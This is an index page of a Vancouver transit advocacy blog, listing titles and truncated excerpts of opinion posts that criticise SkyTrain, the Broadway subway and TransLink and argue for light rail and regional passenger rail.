    If anyone believes that the government did not know that subway construction was going to negatively impact businesses along its route, I have shares in the Lions Gate Bridge to sell you. Both the provincial government and the City of Vancouver have s...

  • After $30 Billion is Spent on SkyTrain - Metro Vancouver 2nd Spot For Worst Traffic

    It is the old story, spend $billions$ dollars spent on SkyTrain light metro and traffic gets worse. Memo to Premier Eby and TransLink: ‘Insanity is doing the same thing over and over again, but expecting different results.'” Metro Vancouver t...

  • The Coward's Way Out

    Insanity Is Doing the Same Thing Over and Over Again and Expecting Different Results The preceding quote, often misattributed to Einstein, conveys the huge financial issues facing TransLink. The provincial government's bailout of TransLink, to ...

  • Canada Line Deja Vu

    Subways tend to cause ground subsidence and when two two cylindrical tunnel boring machines (TBMs), six metres wide and weighing around a million kilograms, gnaws away underground, subsidence will occur. Memo to Rob Fleming, Minister of Transportation...

  • A reality check for the Broadway Subway

    More Broadway subway from City Hall Watch A reality check for the Broadway Subway Posted on March 8, 2023 by urbanizta Above: A section of the outbound tunnel leading away from the Great Northern Way-Emily Carr Station site (Dec 2022). Photo:...

  • Metro Vancouver's Metro Mania

    The following article is eerily familiar with TransLink's continued building of light metro, especially subway construction. In Australia the state of New south Wales is spending AUD $11 billion (CAD $10.1 billion to build 23 km of rail line that will ...

  • Regional Mayors Want A new Funding Model, Instead They Need A New Planning Model

    It seems our regional mayors have been smoking some good weed because they want $20 billion for transit and playing the old gambit that transit is really a Social Service, a human right. That sort of thinking has gotten us where we are today: a massiv...

  • A national Rail Strategy Is Needed Now

    Global warming is real. Climate change is real. We need an affordable alternative to the car and airplane. Rail is the only answer. Sadly, in Canada government is anti-rail, except when it provides a good photo-op at election time. [caption id...

  • The Mayor's Council On Transit - Blah, Blah, Blah

      It is quite apparent that the Mayor's council on Transit is nothing more than a PR stunt and nothing more, as all major transit decisions are made in the Premier's Office. The mainstream media's research for news stories is lacking, be...

  • Switzerland’s Newest Tramway - From the Light Rail Transit Association

    [caption id="attachment_28376" align="aligncenter" width="656"] Limmattalbahn, Switzerland's newest tramway.[/caption] Interesting news from Switzerland. I have reprinted this story from the LRTA's February's issue Light Rail and Urban Transport ...

  • The Broadway suybway Will Sterilize Buisness - Repost

    The following news story reminds me of the Cambie St. subway fiasco with the Canada line subway. Fake tears from the city of Vancouver politicians, TransLink and the provincial NDP masquerade the fact that they knew this was going to happen and they...

  • BROADWAY IS NOT THE BUSIEST TRANSIT ROUTE IN CANADA

    Here we go again! It seems trouble is brewing on Broadway and for the sixth time since Jan.1 a media outlet has repeated the TransLink and City of Vancouver's nonsense that Broadway is the busiest transit route in North America. Well it isn't and n...

  • Doing The Same Thing Over Again Just Will Not Work

    After receiving a number of abusive amount of Emails about the post (all deleted), has indicated to me that most people do not have a firm grounding in modern public transport philosophy, nor a good knowledge of provincial finances. Most forget, th...

  • Lack of A Regional Rail Strategy Is An Abandonment of Political Fiduciary Duty

    [caption id="attachment_28293" align="aligncenter" width="715"] How many deaths must happen before the province decides to have a regional rail strategy?[/caption] The message was tragically brought home to roost Christmas Eve with the fatal bus cra...

  • SkyTrain Again Fails in the Snow

    I find it more than interesting that our hugely expensive rapid transit system once again fails in the snow. Oh, the excuses are many but TransLink, the Minister of Transportation and the premier will never admit to the fact that our SkyTrain light ...

  • An Overview of Quebec City's New Tramway

    An overview of Quebec City's proposed new tramway, something all out civic and provincial politicians should see. [caption id="attachment_28273" align="aligncenter" width="780"] In the new design for Quebec City's tramway network, northbound vehicul...

  • The Ottawa Fiasco Updated

    Too many cooks spoil the broth and too many politicians spoil transit. But there is one quote that leaves me puzzled: The city chose an Alstom train with unproven technology that strained the limits of what an LRT system could do. Light rail is an...

  • The Cost of Tunneling

    The huge cost of tunneling for subway projects are barely mentioned in the media. €4.4 billion for 6 km of twin bore tunnel and seven stations equals CAD $6.08 billion or CAD $1.o1 billion per km to build. This should give pause for thought to BC...

  • Over-Designed’ Megaprojects Are Bad For Environment And Taxpayers

    Sadly, the same is true in BC and Canada, where politicians fully believe the more money one spends on transit, the better is is. We are currently spending around $11 billion to extend the SkyTrain light metro system a mere 21.7 km. Current Cost Es...

  • Listen To The Experts

    When Patrick Condon, BSc, MLA,  Professor Chair, Urban Design Faculty of Applied Science School of Architecture and Landscape Architecture says a new transit vision is needed in metro Vancouver, we should listen. We should have listened to the expert...

  • The End Of The SkyTrain "Gravy-Train?

    Gravy Train: Used to refer to a situation in which someone can make a lot of money for very little effort. Mr. Cow's comment in the previous post, deserves a post of its own, because it could be a game changer in regional transit planning. Critic...

  • Montreal’s Pie-IX BRT

    Starting November 7, Montreal's new BRT service will run between Saint-Martin boulevard in Laval and Pierre-De Coubertin in Montreal. The 13-km BRT line will serve eastern Laval and cross through four Montreal boroughs, offering transfers to the Gre...

  • Maintenance Costs - What Politicans Ignore

    This is a must read as maintenance is one of the least understood functions of operating a transit system. It is often ignored by politicians because most politicians do not understand it nor want to due to unpleasant tax implications that tend to be e...

  • Dislodgment My Arse - TransLink Hides A Derailment!

    Derailment: the action of a train or tram leaving its tracks accidentally. When TransLink invents new terms for a train derailment, you know they are trying to hide something. Two bolts sheared on a turnout or switch is not a coincidence, rathe...

  • Mayor Kennedy Stewart Enters The Silly Season With Gusto!

    Back of an envelope Dept. Civic election time in the Lower mainland is often called the "silly season", by pundits because of the "silly" promises made by politicians. Present Mayor Kennedy Stewart has promised to build a SkyTrain loop in central...

  • Cement and Carbon - The Pollution Vancouver's Greens Politely Ignore

    Vancouver council prides itself on being Green. Vancouver Council, especially the Green members and the pretend Green mayor want a subway. Their problem is, a subway consumes a lot of cement, which in turn creates a lot of pollution in the form of CO2 ...

  • Driverless Trains

    Old Zwei has told you so, operating driverless trains is very expensive. In December 2019, it was reveled that the SkyTrain Light metro system (Expo and millennium Lines, had over 900 employees. That is over 900 workers for just two rail lines. ...

  • When Politicans Play Trains

    It is the sad, same old story, when politicians play trains with multi billion dollar transit projects, things go south all too quickly. In 2018, then mayoralty candidate, Doug McCallum claimed he was an expert and he could build the Expo Line exten...

  • The Expo Line Land Rush

    Like the Millennium Line extension to Arbutus more commonly known as the Broadway subway, the main reason for extending the SkyTrain light metro system is to give politcal friends and insiders, mainly land speculators and land developers the ab...

  • Rural Railways- Time to Invest.

    Recommendations to save Japan’s rural railways issued 28 July 2022 JAPAN: A study group formed by the Ministry of Land, Infrastructure, Transport & Tourism has published its report into whether and to what extent rural railways...

  • Political Documents Masquerading As Technical Documents

    In BC, Business Cases are a dime a dozen and are merely politcal documents masquerading as technical ones. It is photo-op silly season and with premier Horgan desperately trying to find a legacy project, the Expo Line extension to Langley is his curre...

  • When Politicians Think They Know Better - Watch Out!

    When a new transit line is built, months of testing must take place before commissioning the line for public service. This did not happen in Ottawa. Many people do not realize that the Ottawa LRT operation is automatic, just like Vancouver's light m...

  • TransLink Does Something Right - Who Knew!

    Zwei has been long advocating for bus services dedicated to cyclists on important routes and the new 900 bus from Bridgeport Station to the Tsawwassen Ferry Terminal, via the Ladner Loop, certainly fits the bill. Well done! TransLink launches...

  • Australia's Gold Coast Tram

    As the Horgan government seems to be on snooze control, transit issues, except for the E&N (more on that in a future post) which continues to rot away, a look at Australia's Gold Coast tram is in order. A modern tramway that defies the curre...

  • And Now - Here Is The Real Story

      With my long association with the LRTA, I have made many contacts with professionals in the transit industry, who have guided me and given me much information on modern public transport. The following questions deserve an answer. Is c...

  • Surrey's Board of Trade Reality Check!

    The business types with the Surrey Board of Trade don't seem quite up to date with the cost of Transit projects in Metro Vancouver. The provincial governments Friday news release (Friday is always used for bad news which is hopefully forgotten by Mond...

  • The E&N Business Case: Getting Cars Off The Road

    Well, it is a start. The Business Case for the E&N has been released and the cost provided ($431 million) seems quite cheap, compared to the Expo and Millennium Line extensions, where the cost per km is over $400 million/km (over $500 million/km...

  • Expo Line Extension To Langley Bafflegab. Has The Cost Risen To $5 Billion?

    The Daily Hive has become TransLink's official mouthpiece and sadly the Daily Hive, knows very little about transit and even less about SkyTrain light metro. * It is my belief that this article, in part, is in response to this letter to the edito...

  • The Broadway suybway Will Sterilize Buisness - Redux

    On the local TV last night, small businesses along the Broadway construction zone are seeing huge drop in sales and a big increase in debt, due to closure of sidewalks. Shades of the Canada Line debacle on Cambie 15 years ago! BC's Transpor...

  • The Caisse Du Depot Bails From REM East

    Montreal's politicians listen to the public far more about transit than Metro Vancouver's politico's. The public were growing very disenchanted having an elevated railway go through Montreal's downtown and maybe would take such disenchantment to the ne...

  • Electric BRT vehicle catches fire in Paris

    An electric RATP bus caught fire this morning in Paris. An electric RATP bus, traveling on line 71, caught fire this Friday morning around 8 a.m., near the Bibliothèque-François-Mitterrand stop, in the 13th arrondissement of Paris. This is the th...

  • The $400 million Per Killometre SkyTrain To Newton - Really?

    Zwei has a simple question: Where is the funding? With the cost of the Expo Line extension to Langley, exceeding the last estimate of $3.95 billion; the Broadway subway completion to UBC now exceeding $5 billion; and of course that pesky $3 b...

  • Reality Check: Has TransLink Again Mislead The Public?

    [caption id="attachment_5776" align="aligncenter" width="566"] Did the Evergreen Line really have less capacity than a streetcar? Evidently it did![/caption] It is hard to surprise ole Zwei these days, but the following has somewhat astounded me. ...

  • Quebec city Tram Will Be A Reality

    It will be interesting in Quebec, comparing Montreal's  REM light-metro to Quebec city's European style tram. Quebec City Tramway details The Quebec City $4 billion tramway project will involve the construction of tunnel sections and 36 statio...

  • TransLink BS Baffles Brains

    I guess Mass Transit was hard up for a story and I would have given this story a miss, being a technical paper. Except, the last paragraph is a first class example of bureaucratic baffle gab, so typical of TransLink and well worth someone's six figured...

  • Montreal's REM Debacle

    Today, building light metro is a grift simply because for about the same amount of money one could build a heavy rail metro with four times the capacity or build a lot more light rail, with, you guessed it, having more capacity! Toronto's Transi...

  • Two-year Burrard SkyTrain UpGrade Cancelled

    Who says TransLink is not hurting financially? And what about that pesky $3 billion Expo/Millennium Line midlife rehab? The canceled rehab and upgrade of the Burrard Station maybe the beginning of new fiscal realities post Covid. The former transit c...

  • A New Low For Reporting In The BC Media

    Zwei gets a lot of Emails and this caught my attention. Slow-pitched questions and the continued referring that the tunnel is a mistake, the entire show seemed like an infomercial for the BC Liberals. Why all the angst for the tunnel and why do...

  • Trams To be Fitted With Head-up Displays

    What is good for the car is also good for the tram! The modern tram is one of the safest transit modes today and with active "heads-up" displays, makes the tram or streetcar much safer. A head-up display, or heads-up display,also known as a HUD...

  • Too Expensive - AirTrain (SkyTrain) Is Scrapped

    What is now called Movia Automatic Light Metro is known as Airtrain in New York. AirTrain JFK, is a 13 km elevated, ART system built by Bombardier serving John F. Kennedy International Airport (JFK Airport) in New York City. The system consists of t...

  • A Slow Train to The Future

    Something that is badly needed in BC and Canada, regional railways. Local pundits have called for faster and faster rail transit, with some even advocating for high speed rail (HST) for the Fraser Valley as the only way to get people out of their ca...

  • Six operators award joint contract for up to 504 tram-trains

    [caption id="attachment_27564" align="aligncenter" width="599"] Salzburg Lokalbahn will soon see Karlsruhe style TramTrains[/caption] This is big news and certainly shows the European confidence in TramTrain. The cost per car is somewhat steep (CAD $...

  • The Battery Hybrid Diesel

      The battery-diesel hybrid, seems a far better bet for regional railways than hydrogen fuel cell electric trains. With battery-electric trains, the trains can operate on diesel in the country and on electric in urban areas. Also importa...

  • Montreal Light Metro Ills. Updated!

    The current transit problem in Montreal is REM light metro problem. REM is more of a financial tool for Quebec's Caisse de Depot, who have gained much experience with Vancouver's P-3 Canada Line light-metro, than a user-friendly transit system for M...

  • Is Ottawa Getting a Tramway?

    Traffic calming major streets and having a tramway or streetcar operate on the route is standard practice in Europe, so why not here? Politics aside, a modern tramway in Ottawa would, I believe, catch on with other major Canadian cities for providin...

  • Burnaby Jumps On the Gondola Bandwagon

    Further proof that our regional politicians live in la,la land. Burnaby politicians want a $210 million plus gondola going to SFU. For added insult the gondola lobby is playing the environmental/global warming card, which is sheer utter nonsense. ...

  • Another Abandoned UK Passenger Line Is Set to Reopen - Why Not The E&N?

    Another long a long abandonment of passenger services, the once called Ivanhoe line is set to reopen for passenger service. The Leicester–Burton upon Trent line is a freight-only railway line in England linking the Midland Main Line south of Leice...

  • Good News Everyone! Updated.

    In our local ongoing transit debate the SkyTrain lobby and those who are just anti-LRT pointed fingers at Ottawa's new transit system's teething problems as a failed LRT line. For two years, local politicos and the media happily reported even minor...

  • The Cambie St. Cut And Cover Redux - Now Appearing On Broadway

    Yes, Zwei told ya so, but got raspberries for my efforts. The Cambie St. Canada line cut and cover set the precedent for businesses along the Broadway subway route - they don't matter. TransLink does not care. The Mayor's Council on Transit does...

  • The Broadway Subway - Eby Hasn't A Clue, Nor Does The NDP

    I just shake my head at this government, they just do not have a clue about transit. After listening to NDP Minister of Housing and Attorney General, David Eby about housing, I was absolutely gobsmacked how ignorant he is about transit. If Eby is ig...

  • Why Canada Gets Less For More When It Comes To Building Transit

    This news item explains the huge cost of metro Vancouver's transit construction. Though the article thinks that $500 million per kilometer, for the Broadway subway is reasonable, it must remembered that the subway it is being built on a transit route t...

  • A Repost From November 2018 - Mayor McCallum Has Screwed The City of Surrey

    After three years, the news about rapid transit goes from bad to worse. The Expo Line extension to Langley is now costing more than the revised cost of $3.95 billion and despite much false information that the line is fully funded, it is not. The cl...

  • The Cost Of Rehab

    This article shows the full breadth of work that needs to be done when expanding a major rapid transit line, above, at or below grade. This will happen to all stations on the Expo and Millennium lines, when the much needed system $3 billion rehab ...

  • A Repost From 2019 - Here We go Again......

     A repost from Wednesday, June 19, 2019. Some things have changes since this item was posted in 2019. Alstom now owns the proprietary Movia Automatic Light Metro system, when they finalized purchasing Bombardier's rail division earlier in the year....

  • TramTrain For 2022

    A re-post from earlier this year. With the devastation caused by this years heat dome, wild fires, tornado, atmospheric rivers, flood and of course our modern day plague, Covid, the provincial government must rethink its plans to spend over $10 bill...

  • Time To Put Freight Back On The Rails!

    A rolling motorway in Europe The recent fiasco with our regional highways, due to the "Great Deluge" has again spot lighted the massive amount of freight traffic that is carried on the public highway system. The trucking industry is highly subsid...

  • SeaTrain - The Ongoing Columbia St. Station Fiasco

    Yes, this is an ongoing problem but................... The flooding and closing of the strategic Columbia St. Station should have been dealt with ages ago, but no, not TransLink. Always put off to tomorrow what should be done today and to hell ...

  • A Repost - McCallum's $2.9 Billion Question - From 2018 - Updated To 2021

    From October 20, 2018; well its November 2022 and the cost for The Expo Line extension to Langley has now surpassed $4 billion and Zwei's prediction has come true. SkyTrain construction is not to be started until 2028, if ever and transit for the Frase...

  • REM

    The following article also aptly describes metro Vancouver's transit planning, which is mostly dictated by the premier's office and camouflaged in layers of bureaucracy. The result is very expensive, politically inspired rapid transit lines that soon...

  • Building Back Better

    In BC, we do the same thing over again hoping for different results. While in the UK the modern tram or light rail or supertram is now seen as one of the proven remedies for urban congestion. https://vimeo.com/611601426/3340710633?mc_cid=72da...

  • Entering The Land of Unicorns and Pixie Dust - TransLink's Current P.R. Gamble

    Well, the first surprise was that this news item came via the Alaska Highway News of all places. This tells me TransLink is spinning the story to everyone it can to give the good news to! The big problem that there is no money to fund these grand...

  • What’s wrong with the REM?

    The Canada Line's big cousin, Montreal's REM. The problem with REM. like the Canada line is that it is more of a financial tool than a public transit line and because of this, the transit customer has been ignored. A healthy transit system offe...

  • Letters

    Letters From the Langley Advance Times Dear Editor, For over 12 years, Rail for the Valley has been advocating the reinstatement of the Vancouver to Chilliwack interurban service and in doing so, are being advised by professionals and engineers ...

  • Ottawa's Troubled LRT, Er....... Light Metro ~ Updated

    UPDATE OCTOBER 14, 2021: City manager Steve Kanellakos said Rideau Transit Group reported on the root cause of the derailment: a gearbox came loose and dragged along the tracks. Kanellakos said RTG learned the gearbox bolts weren’t torqued properly....

  • Premier Horgan's FastFerry Redux!

      Before reading on, please remember this figure of $1.3 billion, as it represents an updated (2021) cost for Rail for the Valley's Leewood Study, offering a three trains per hour per direction from Vancouver to Chilliwack. Doing the Rail ...

  • Rail for the Valley Told You So!

    So the opening of the Expo Line extension to Langley has been delayed to 2028, well don't bet the farm on it as a more realistic date is 2030, if ever! RvtV just commented on this issue two posts ago: Will SkyTrain Light metro Ever Reach Langley One ...

  • Are We just Deaf To Global Warming?

    In the first week of July's record heat and the fireball that turned the Village of Lytton, which for the previous three days recorded the highest temperatures in Canada, to ash, our politicians stood mute. Oh, there were those 10 second sound bite...

  • Will SkyTrain Light Metro Ever Reach Langley?

    These excerpts are from a comment by Haveacow, our expert from back east, which  must give one pause, because TransLink is about $1 billion short to extend the Expo line to Langley! But TransLink is also short of train storage and maintenance spa...

  • Rubber on Asphalt

      BC politics at its best, rubber on asphalt is always a sure vote getter at election time. Funding for this $235.5 million highway upgrade was announced in 2019, with the federal government committing $109 million, the provincial governme...

  • Regional Railways - The Missing Piece of The Transportation Puzzle!

    When government is spending almost $4 billion to build a mere 16 km of SkyTrain light-metro, extending the Expo line, 16 km to Langley; almost $3 billion to extend the Millennium line 5.8 km; and over $4 billion replacing the Massey tunnel,  provincia...

  • Costs - A Repost From January 2020

    Well, things have changed in a year and a half. The Trudeau Liberals have promised that they will fund 40% of the Expo Line Extension to Langley, but premier Horgan and TransLink have not, as yet, anted up the money to pay for their portion. With a ...

  • Lawned Rights-of-Ways Come To Canada

    Will this be a game changer for light rail in Canada? For over thirty years, lawned rights-of-way have been the norm on European tramways and light rail operations; even the Deutsche Bahn (German Federal Railway) investigated lawend rights-of-ways ...

  • The Shape of Surrey's Future

    The shape of things to come for Surrey. Surrey, ever trying to out do Vancouver to be number one in the city, is building with light metro, because Vancouver has one. The following quote caught my eye. Gurugram is not a walkable city, and has v...

  • Bafflegab From TransLink - The Never Ending Story

    The real story here is not about replacing the expansion joints on the Sky Bridge, it is what TransLink's new CEO Kevin Quinn (remember the chap worked for Baltimore's MTA, which saw a 2% decrease in ridership every year Quinn worked there)  said, rev...

  • RAIL FOR THE VALLEY - A Step Closer

    Is common sense finally making its way with politicians in Victoria? Is the $4 billion price tag for the 16 km Expo Line extension to Langley (the Reelection Line) scaring the provincial treasury? Has BC's explosive fire season, capped with r...

  • An Apples To Apples Comparison - A Tale of Two Cities

    We all know about the $3.95 billion 18 km extension of the Expo line to Surrey with all the hype and hoopla of the SkyTrain Lobby is in full swing. Back in the Waterloo region of Ontario, $2.2 billion buys you 37 km of light rail! The comparison betw...

  • It Did Not Take Long Turning Paradise Into A Parking Lot

    First question: Where is the almost $1 billion in funding needed to make the Expo Line extension to Langley a go? Second Question: Mr. Horgan and the Mayor's Council on Transit, what taxes have to be increased to pay the estimated $1 billion in outs...

  • Land Speculation and Land Development - The Real Reason For The Expo Line Expansion

    It is a no-brainer why SkyTrain light-metro is being extended to Langley and it is the same for the Broadway subway, with a combined cost of $7 billion. Three guesses and the first two don't count. It all about land speculation and land development...

  • Reality Check For Autonomous Buses

    Ah, the poor futurists, their utopia of driverless buses have had a major setback, as a three year test in Vienna has ended with a; Unsuitable for use in practice. Paris also had an unsuccessful trial that ended in 2019. For all those clamoring fo...

  • The Collapse of U.S. Public Transit?

    Interesting article and well worth reading; not all is happiness in transit land. From Zwei's almost 40 years advocating for better transit and more affordable transit planning in the region, it seems those in charge are afraid of change. The same t...

  • Trackless Tram Scam

    Our mainstream media always over-hypes the latest gadgetbahnen, or transit miracle from elsewhere, which turns out to be a yesterday's failed transit experiment that was sold off on the cheap to let someone else try to sell it to rubes. This sensationa...

  • Why the Mexico City Metro Collapsed

    First, I must state that the elevated guideway for the Expo, Millennium, and Canada Lines are a completely different build than Mexico's Metro system and such an accident would not happen, but there are several issues with concrete construction that sh...

  • The Driverless Car, Coming NOT So Soon

    Will driverless cars soon be on city streets? Probably not. The current hype and Hoopla about driverless cars, tend to be a little naive on the facts. Zwei remembers a meeting with TransLink Planners, back in the early 2000's, where i was show...

  • Transit Is About Moving People -From 2011

    From ten years ago. This post is pertinent today with the $4.6 billion, 12.8 km extensions to the Expo and Millennium Lines. One of great criticisms of old Zwei back in the day, was the claim that the Evergreen line was the unbuilt portion of the...

  • Breaking News - SkyTrain Crash In Kuala Lumpor!

    Breaking News! Major accident on Kuala Lumpur's Kelana Jaya line An accident has happened on the fully automated (driverless) Advanced Rapid Transit (ART) system in Kuala Lumpur. The Kelana Jaya line is a twin of Vancouver's millennium line and us...

  • For Those Who Want An Aerial Tramway To SFU

    This has just happened and file it in "I told you so" department". When things go wrong, they go wrong very badly. When aerial tramways fail, the result is catastrophic. Those who promote exotic transit modes do not think about safety or the con...

  • 88% Favour Passenger Rail for the Fraser Valley!

     No surprise here! If anyone who has traveled into the upper Fraser Valley, especially the Chilliwack/Sardis/Vedder areas and seen the huge growth and the associated congestion must realize that a rail connection from Vancouver to Chilliw...

  • The Cost of Transporting People in the British Columbia Lower Mainland – Revisited

    A repost from 2013. In 1992, the region woke up to a GVRD study that exposed the deceit of many politicians of the day who claimed that SkyTrain operated without subsidy. The truth was just the Expo line to New Westminster was heavily subsidized, more...

  • Funding Please!

    For all those who have deluded themselves that SkyTrain will be extended via tunnel, under Burrard Inlet, think again. TransLink has been spinning a lot of stories about transit expansion, but every story ignores a fundamental fact - funding. Tra...

  • The Grand Broadway Subway Photo-Op Begins

    It has all been said before the many issues that plague the Broadway subway but never keep a politician from a grand photo-op to show the public how politicians squander money. Liberal and NDP cabinet members, with the federal Liberals election re...

  • Horror in Honolulu - Light metro Project tops $12.4 billion USD!

    This is a new one, thin wheels and wide track causing problems with Honolulu's light metro horror show. What was a $5.3 billion project in 2010 has now turned into a $12.4 billion project in 2021; that is $15 billion Canadian dollars! Put another wa...

  • It Is Time For The Return of Regional Passenger Rail In BC?

      Calls for a return of an interurban style rail passenger service from Vancouver to Chilliwack; the restoration of passenger service on the E&N; the reinstatement of a passenger service from Vancouver to Prince George;  for a Vernon to Ke...

  • The $100 Question - Will Transit Ridership Return?

    The Covid-19 pandemic has transit planners worrying about future operations, especially in Vancouver. Despite TransLink's claims that...... "The agency is projecting ridership to be at 80 to 90 per cent of pre-pandemic capacity by next year" ........

  • The NDP Are paving Paradise And Turning It Into A Parking Lot - Part 2

    Reinstating passenger services on regional railways, it is what government should be doing, to deal with traffic congestion and pollution, but they are not, as government would rather spend money on prestigious "rapid transit" monuments to cut for phot...

  • The NDP - Blacktopping Its Way Out Of Congestion

    The NDP government is going to try to blacktop its way out of congestion despite the fact that added road space only attracts more vehicles, thus adding to congestion and gridlock at choke points. You cannot blacktop your way out of congestion! The u...

  • Funding - How to restore Passenger Rail

    The UK, as well as many European countries, are reopening long abandoned rail routes for passenger service. The lesson is simple, if you want to attract the motorist from the car, you must develop a user friendly alternative. The railway is a proven...

  • If the UK is Reinstating former Passenger Routes, Why Can't We?

    Really, $4.6 billion to build 12.8 km of light-metro is an awful lot of money for so small increase in a rail route; 5.8 km to extend the Millennium Line in Vancouver and 7 km in Surrey. By comparison, $1.5 billion would provide a 130 km Vancouver t...

  • Public Transit In Canada - All About Profits and Politics

    Just like the Canada Line, politics and profits; REM is the Canada line on steroids. Just like transit planning in Metro Vancouver, it isn't about providing better transit options, it is all about profit and politics, rezoning, demovictions, and bui...

  • Toronto's 'SkyTrain' Is Not Going Softly In The Night

    The end of 'SkyTrain' service in Toronto is nearing and it seems the subway replacement is now treading on financial thin ice. LRT is the big bogey man of both light and heavy metro supporters, simply because LRT has proven far more economic to oper...

  • Sorry City of Vancouver, Movia Automatic Light Metro is the Brand Name.......

    ........Of What We Call SkyTrain And It Is A Proprietary Light Metro! Get Over It! Mr. Burgess brought up a interesting point, the city of Vancouver claims that SkyTrain is not proprietary and SkyTrain is the "brand" name. Really? Really, really? ...

  • Old News, But Where Is The Funding?

    Thanks to Mr. Cow, Rail for the Valley knew about this over five years ago. RftV knew that the current Edmonds yard was near capacity and a new yard had to be built to accommodate the new cars as far back as 2016. Couple of items ignored wit...

  • Hungary's New TramTrain

    [caption id="attachment_26206" align="aligncenter" width="544" caption="Stadler TramTrain"][/caption]   A new TramTrain operation has opened on Feb. 22, in Hungary and all one can say is wow. The 26.2 km Szeged-Hódmezővásárhely (pleas...

  • Not Cost Effective.

    Another suicide, another death and TransLink washes it hands of the problem. The SkyTrain light-metro system doesn't have an attendant on board to monitor the tracks. This is the darker side of driverless trains. Unlike other automatic metros,...

  • And Then There Was Six

    Despite the ongoing charade by regional mayors pretending that the now called Movia Automatic Light Metro is not a proprietary railway, the singular fact remains, it is. This Linear Induction Motor (LIM) powered bit of history has always been a proprie...

  • Meet The Canada Line's French Cousin, REM.

    REM is a clone of the Canada Line, a faux P-3 project designed to benifit land speculators, land developers and of course the financiers, which in this case is the Caisse de dépôt et placement du Québec, or CDPQ . The local rail advocates are now...

  • Alstom Completes Bombardier Transportation Acquisition

    Alstom is now the owner of the proprietary Movia Automatic Light Metro (MALM) system and the big question is, will Alstom continue to produce the MK.2/3 cars or even honour Bombardier's contracts with TransLink. Will Alstom treat TransLink a...

  • A Repost From 2017- La Renaissance Du Tramway en France

    La renaissance du tramway en France Tours The French (Tram) Renaissance is amazing! 17 brand-new systems opened since 2000. A single line in Montpellier, line T1, carriess over 130,000 weekday riders! And thatai??i??s with no tunnels, most...

  • Fake News And The SkyTrain Lobby - Who Are They Really Working For?

    A repost from November 21, 2017 A comment from Zwei (2021): The Daily Hive has become the mouthpiece for TransLink and the Hive prints news releases as if they were news, without any fact checking. Really, can't the SkyTrain Lobby do any better? ...

  • The Realities of Subway Mania In Lotus Land

    A repost from March 4 2020 The realities of subway mania. Vancouver politicians live in "The Land of the Lotus Eaters", when it comes to transit. In Greek mythology the lotus-eaters, were a race of people living on an island dominated by the Lot...

  • TramTrain For 2021!

    Zwei has been a member of the Light Rail Transit Association for over 35 years and with membership comes a subscription to the most excellent magazine Tramways & Urban Transit. The following will be of most interest for those wanting an affordab...

  • And Then There Were Six

    Despite the hype and hoopla of regional mayors, five very important facts about our SkyTrain light metro system are glossed over in Metro Vancouver, by metro mayors, bureaucrats and transportation planners: The Expo and Millennium Lines operate a d...

  • Alstom-Bombardier Deal to Complete in January

    This is big news as Bombardier is the sole supplier of the proprietary, linear induction motor powered Movia Automatic Light Metro system used on the Expo and Millennium Lines. Alstom may or may not continue the production of the now stale dated Movia ...

  • Floundering Public Transit and the Resurrection of the Car.

    An interesting read. TransLink, the Mayor's Council on Transit and the provincial government should take serious note of the following, but they won't. Riding in their cars, subsidized by generous car allowances and more, politicians remain obliviou...

  • More Fuel Cell Train News

    More fuel cell train news. The technology is coming, whether we acknowledge it or not. The "Green" challenge is not taxing people out of their cars or airplanes, rather it is providing a reliable and user friendly "Green" transportation alternative...

  • Hdrogen Fuel Trains Advance!

    As the technology for hydrogen fueled trains continues to develop, the technology will become cheaper. Electric trains without the large cost of OHE. Very Green, isn't it. Not in BC, where the government is OK building with prestigious light-metr...

  • Light Metro Fiasco In Honolulu

    Light-metro, a 1970's solution for a 1950's transit problems and made obsolete by light rail by the early 90's. Why oh why do politicians love gadgetbahnen. The total cost of Honolulu's 20-mile (32 km) rail line and 21 stations is $9.862 billion. If...

  • Mobility Pricing - The Rapture of Megaprojects

    The first rule of mobility pricing is: One must have an affordable and user friendly public transit alternative. Metro Vancouver doesn't, nor is planning for one. Instead metro Vancouver is planning for politically prestigious mega transit projects a...

  • Broadway Subway: Based On Inaccurate And Manipulated Assumptions

    Haveacow is an avatar of a very knowledgeable chap from back east who works with public transport. In the arcane world of transit in Canada, speaking one's mind or even being truthful can send one to Coventry. To send someone to Coventry is an Engl...

  • Quebec Follows The Vancouver Model Of Transit Planning

    The Vancouver Model Of Transit Planning: If you build with light-metro, make damn sure you don't build LRT anywhere near it In Quebec, Montreal's REM Lobby, including the Caisse and city, provincial and federal politicians could not afford to have LR...

  • SkyTrain On Fire!

    Lost amidst the hurly burly of the American election and the just announced almost total lock down in BC, a fire at New Westminster Station caused the shutdown of service Sunday morning. What is interesting is that this fire on the main public trans...

  • For Whom the Tolls Toll.

    You operate a very expensive transit system that is not user friendly. You build a subway on a route with nowhere near the ridership to sustain it. You persist in planning and using a very expensive, yet obsolete proprietary light metro. You p...

  • TransLink CEO Kevin Desmond Jumps Ship.

    No surprise here, as I stated before, 2021, will make 2020 look child's play. Desmond was hired because of his ability to massage the truth to build the Broadway subway. He seemed ignorant of transit mode and that the Expo and Millennium lines opera...

  • The NDP - Stupid Is, As Stupid Does

      Trust the NDP, to get embroiled in extending SkyTrain. Again, the NDP proven they haven't a clue about regional transit or transit mode and if proceeded, there will be severe financial consequences for the taxpayer and the transit user. ...

  • HST Madness!

    When boys and girls play trains, especially high speed trains (HST) it is best they read a book on the subject before they embarrass themselves. Obviously, the "academics and urban planners, who believe such an infrastructure investment" have not re...

  • Flying a Trial Balloon

    Trial balloon: A tentative measure taken or statement made to see how a new policy will be received. As the Daily Hive seems to be the official organ of TransLink, it comes as no surprise that a trial balloon is floated regarding an elevated SkyTrai...

  • Oh Where, Oh Where Has Our Customers Gone....................

    TransLink must soon face a very unpleasant truth, Metro Vancouver's transit system is crap; it is strictly a commuters transit system, with, except for the core of City of Vancouver, there is little off-peak usage. The transit system is designed to ...

  • From September 2010 - The Groundbreaking Leewood Study

    On September 20, 2010, Rail for the Valley unreleased the groundbreaking Leewood Study regarding the reinstatement of a passenger service using the former BC Electric, now Southern Railway of BC route. Why Groundbreaking? The Leewood Study was th...

  • Is TGV Coming To The North Shore?

    Yesterday's NDP pre election telly-op on local television stations of the standard TransLink fare of having five options for rapid transit to the North Shore showed some very strange animations. Instead of animations of SkyTrain trundling through tu...

  • An Election Is Coming. The NDP Follows The Old Script.

    As with all Metro Vancouver transit projects, they are good for three or four election cycles. The NDP are just using their tired playbook from the 90's, nothing more and, shock and disbelief, Parliamentary Secretary for TransLink, Browinn Ma is the...

  • How Much Will The SFU Aerial Tramway Cost To Operate?

